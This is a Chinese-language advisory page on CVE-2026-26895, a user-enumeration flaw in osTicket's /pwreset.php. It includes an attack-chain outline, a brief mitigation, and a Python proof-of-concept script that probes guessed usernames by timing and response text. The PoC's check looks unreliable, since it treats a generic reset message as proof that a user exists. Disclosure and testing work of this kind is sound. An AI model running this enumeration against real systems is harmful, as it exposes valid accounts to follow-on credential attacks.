IPBUF安全漏洞报告
English
CVE-2026-26895 CVSS 5.3 中危

CVE-2026-26895 osTicket用户枚举漏洞

披露日期: 2026-04-02

漏洞信息

漏洞编号
CVE-2026-26895
漏洞类型
用户枚举
CVSS评分
5.3 中危
攻击向量
网络 (AV:N)
认证要求
无需认证 (PR:N)
用户交互
无需交互 (UI:N)
影响产品
osTicket

相关标签

用户枚举信息泄露osTicketTiming Attack

漏洞概述

osTicket v1.18.2版本存在用户枚举漏洞。攻击者可利用/pwreset.php接口的响应差异,判断系统中是否存在特定用户名,从而获取有效账户信息。

技术细节

该漏洞源于osTicket v1.18.2版本中/pwreset.php接口的实现缺陷。当攻击者向该端点提交密码重置请求时,系统对有效用户和无效用户的处理逻辑存在差异。这种差异可能表现为响应时间的不同(Timing Attack),即查询有效用户耗时更长;或者表现为HTTP响应内容的不同,例如返回特定的错误代码或提示信息。攻击者通过构造特制的HTTP请求,批量测试用户名,并分析服务器返回的响应特征,无需经过身份认证即可准确枚举出系统中注册的有效用户名。这一过程降低了攻击门槛,为后续的撞库或定向攻击提供了数据支持。

攻击链分析

STEP 1
信息收集
攻击者识别目标osTicket系统及其/pwreset.php接口。
STEP 2
发送探测请求
攻击者向/pwreset.php发送POST请求,包含推测的用户名。
STEP 3
分析响应差异
攻击者监控服务器的响应时间或返回的错误信息,判断用户名是否存在。
STEP 4
枚举用户
重复上述过程,构建出系统中有效的用户名列表。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
import requests import time def check_user(url, username): target_url = f"{url}/pwreset.php" data = { "email": username } start_time = time.time() try: response = requests.post(target_url, data=data) elapsed_time = time.time() - start_time # Analyze response time or content # Example: Valid user takes longer or returns specific text if elapsed_time > 0.5 or "If that email exists" in response.text: return True return False except Exception as e: print(f"Error: {e}") return False if __name__ == "__main__": target = "http://example-osticket.com" user_list = ["admin", "support", "test"] for user in user_list: if check_user(target, user): print(f"[+] User found: {user}") else: print(f"[-] User not found: {user}")

影响范围

osTicket v1.18.2

防御指南

临时缓解措施
建议管理员暂时限制外部对/pwreset.php的访问,或通过反向代理设置速率限制规则,防止自动化脚本批量枚举。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表